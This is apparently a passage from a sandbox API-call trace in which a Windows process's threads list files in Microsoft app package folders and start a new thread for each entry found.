	[0078.968] wcscat (in: _Dest=0x47697e8, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources"
	[0078.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47697e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50
	[0078.969] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9368ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0078.969] FindClose (in: hFindFile=0x2dad4f8 | out: hFindFile=0x2dad4f8) returned 1
	[0078.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc23b0) returned 1
	[0078.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0078.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f3b8) returned 1

Thread:
	id = 261
	os_tid = 0xd48

	[0076.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70218
	[0076.785] wcscpy (in: _Dest=0x2d70218, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.785] wcscat (in: _Dest=0x2d70218, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.785] wcscat (in: _Dest=0x2d70218, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0076.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbe788
	[0076.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3acdd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70fc0
	[0076.785] wcscmp (_String1=".", _String2=".") returned 0
	[0076.785] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3acdd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.785] wcscmp (_String1="..", _String2=".") returned 1
	[0076.786] wcscmp (_String1="..", _String2="..") returned 0
	[0076.786] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f377c2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f377c2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.786] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.786] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a200
	[0076.786] wcscpy (in: _Dest=0x2d8a200, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.786] wcscat (in: _Dest=0x2d8a200, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.786] wcscat (in: _Dest=0x2d8a200, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4
	[0077.116] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f377c2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f377c2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x39a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.116] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.116] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d89b38
	[0077.116] wcscpy (in: _Dest=0x2d89b38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.116] wcscat (in: _Dest=0x2d89b38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.116] wcscat (in: _Dest=0x2d89b38, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14
	[0077.117] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f5da18, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f5da18, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f5da18, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.117] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.117] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x2d89948
	[0077.117] wcscpy (in: _Dest=0x2d89948, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.117] wcscat (in: _Dest=0x2d89948, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.117] wcscat (in: _Dest=0x2d89948, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18
	[0077.118] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f5da18, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3d897, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.118] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.118] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.118] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e476d0
	[0077.118] wcscpy (in: _Dest=0x2e476d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.118] wcscat (in: _Dest=0x2e476d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.118] wcscat (in: _Dest=0x2e476d0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e476d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c
	[0077.119] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaae3e4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.119] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.119] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.119] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2e02198
	[0077.119] wcscpy (in: _Dest=0x2e02198, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.119] wcscat (in: _Dest=0x2e02198, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.119] wcscat (in: _Dest=0x2e02198, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e02198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20
	[0077.120] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f83c76, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f83c76, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.120] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.120] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x2e022b0
	[0077.120] wcscpy (in: _Dest=0x2e022b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.120] wcscat (in: _Dest=0x2e022b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.120] wcscat (in: _Dest=0x2e022b0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0077.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e022b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24
	[0077.121] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f83c76, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f83c76, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.121] FindClose (in: hFindFile=0x2d70fc0 | out: hFindFile=0x2d70fc0) returned 1
	[0077.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbe788) returned 1
	[0077.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1
	[0077.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f138) returned 1

Thread:
	id = 262
	os_tid = 0x12ec

	[0076.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4782758
	[0076.786] wcscpy (in: _Dest=0x4782758, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe"
	[0076.786] wcscat (in: _Dest=0x4782758, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.786] wcscat (in: _Dest=0x4782758, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0938
	[0076.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebc8e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5b8
	[0078.808] wcscmp (_String1=".", _String2=".") returned 0
	[0078.809] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebc8e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.809] wcscmp (_String1="..", _String2=".") returned 1
	[0078.809] wcscmp (_String1="..", _String2="..") returned 0
	[0078.809] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68a98ed8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.809] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.809] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477cb18
	[0078.809] wcscpy (in: _Dest=0x477cb18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe"
	[0078.809] wcscat (in: _Dest=0x477cb18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.809] wcscat (in: _Dest=0x477cb18, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cb18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0078.858] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebe349, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.858] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.858] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e89a0
	[0078.858] wcscpy (in: _Dest=0x47e89a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe"
	[0078.858] wcscat (in: _Dest=0x47e89a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.858] wcscat (in: _Dest=0x47e89a0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e89a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8
	[0078.859] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68a98ed8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.859] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.859] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477ef10
	[0078.859] wcscpy (in: _Dest=0x477ef10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe"
	[0078.859] wcscat (in: _Dest=0x477ef10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.859] wcscat (in: _Dest=0x477ef10, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ef10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc
